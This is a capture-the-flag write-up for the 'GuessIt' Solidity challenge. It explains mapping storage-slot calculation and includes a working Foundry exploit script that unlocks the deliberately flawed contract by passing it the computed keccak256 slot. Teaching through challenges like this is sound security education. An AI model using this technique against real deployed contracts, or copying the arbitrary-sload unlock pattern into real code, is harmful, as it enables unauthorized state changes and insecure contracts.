Writeup for GuessIt

  • Before diving into this writeup, it’s crucial to have a solid understanding of Foundry, a powerful framework for Ethereum smart contract development. Foundry will be your primary tool for writing, testing, and breaking contracts in this guide.

Challenge Description

Santa Clause has been kidnapped and is kept in a secret dungeon, can u unlock this contract and save him?

Author: MaanVad3r

The Challenge and Exploit

The below are source contracts

  1. GuessIt contract
 1pragma solidity ^0.8.20;
 2
 3contract EasyChallenge {
 4    uint constant isKey = 0x1337;
 5
 6    bool public isKeyFound;
 7    mapping (uint => bytes32) keys; 
 8
 9    constructor() {
10        keys[isKey] = keccak256(
11            abi.encodePacked(block.number, msg.sender) 
12        );
13    }
14
15    function unlock(uint slot) external {
16        bytes32 key;
17        assembly {
18            key := sload(slot)
19        }
20        require(key == keys[isKey]);
21        isKeyFound = true;
22    }
23}
  1. Setup contract
 1pragma solidity ^0.8.20;
 2
 3import "./GuessIt.sol";
 4
 5contract Setup {
 6    EasyChallenge public challengeInstane;
 7
 8    constructor() {
 9        challengeInstane = new EasyChallenge();
10    }
11
12    function isSolved() public view returns (bool) {
13        return challengeInstane.isKeyFound(); 
14    }
15}

Our task is to make the Setup:isSolved function return true. This function will return true if the GuessIt:isKeyFound function returns true. Therefore, to solve this challenge, we need to make GuessIt:isKeyFound return true.

1function unlock(uint slot) external {
2    bytes32 key;
3    assembly {
4        key := sload(slot)
5    }
6    require(key == keys[isKey]);
7    isKeyFound = true;
8}

isKeyFound is set to true only in this function. To call this function, we need to pass the storage slot address as a parameter. The function will load the content from the given slot and compare it with the value stored in the keys mapping for the key isKey (which is 0x1337).

Technically, we need to pass the storage slot where the keys mapping holds the value for the key 0x1337. If the content in that slot matches, the isKeyFound variable will be set to true.

The storage slot of any mapping can be calculated using the formula keccak256(key, slot), where key is the key you are looking for in the mapping, and slot is the position of the mapping variable itself in the contract’s storage layout. The resulting hash points to the specific storage slot for the given key within the mapping.

In the GuessIt contract, isKey is a constant variable, which means it’s not stored in the contract’s storage. Instead, its value (in this case, 0x1337) is embedded directly in the contract’s bytecode. The isKeyFound variable is stored in storage slot 0, while the keys mapping starts at storage slot 1. To find the specific value in the keys mapping for the key 0x1337, we calculate the storage slot using keccak256(0x1337, 1).

The below is the Exploit script.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.0;
 3
 4import {Script} from "lib/forge-std/src/Script.sol";
 5
 6interface IEasyChallenge{
 7    function unlock(uint slot) external;
 8    function isKey()external view returns(uint256);
 9}
10
11interface ISetup{
12    function challengeInstane() external view returns(IEasyChallenge);
13    
14}
15contract ExploitGuess is Script{
16    ISetup setup;
17    uint constant isKey = 0x1337;
18    uint baseSlot = 1;
19    function run()public{
20        address _setup=address(/* YOUR_SETUP_ADDRESS */);
21        vm.startBroadcast();
22        setup=ISetup(_setup);
23        IEasyChallenge challenge=setup.challengeInstane();
24        uint256 slot=uint256(keccak256(abi.encodePacked(isKey, baseSlot)));
25        challenge.unlock(slot);
26        vm.stopBroadcast();
27    }
28}

***Hope you enjoyed this write-up. Keep on hacking and learning!***